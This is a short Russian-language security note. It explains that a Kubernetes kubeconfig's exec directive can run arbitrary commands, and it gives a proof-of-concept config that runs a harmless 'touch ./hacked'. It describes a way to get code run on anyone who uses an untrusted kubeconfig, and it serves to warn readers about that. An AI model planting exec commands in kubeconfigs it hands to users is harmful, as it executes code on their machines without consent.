RCE с помощью kubeconfig.Если вы используете
Managed Kubernetes в облачном провайдере, то наверняка замечали не совсем привычный kubeconfig файл, используемый для взаимодействия с кластером:
users:
- name: eks-user
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
command: aws
args:
- eks
- get-token
- --<cluster-name>
- <your-cluster-name>
- --region
- <your-region>
Это довольно интересно, поскольку используя директиву
exec мы можем выполнять любые команды на системе:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: <-- snip -->
server: https://127.0.0.1:49249
name: kind-exec-test
contexts:
- context:
cluster: kind-exec-test
user: kind-exec-test
name: kind-exec-test
current-context: kind-exec-test
kind: Config
preferences: {}
users:
- name: kind-exec-test
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- ./hacked
command: touch
Что еще более интересно – в документации этот момент особо не выделяется. Только лишь предупреждение о том, что необходимо использовать
kubeconfig из доверенных источников.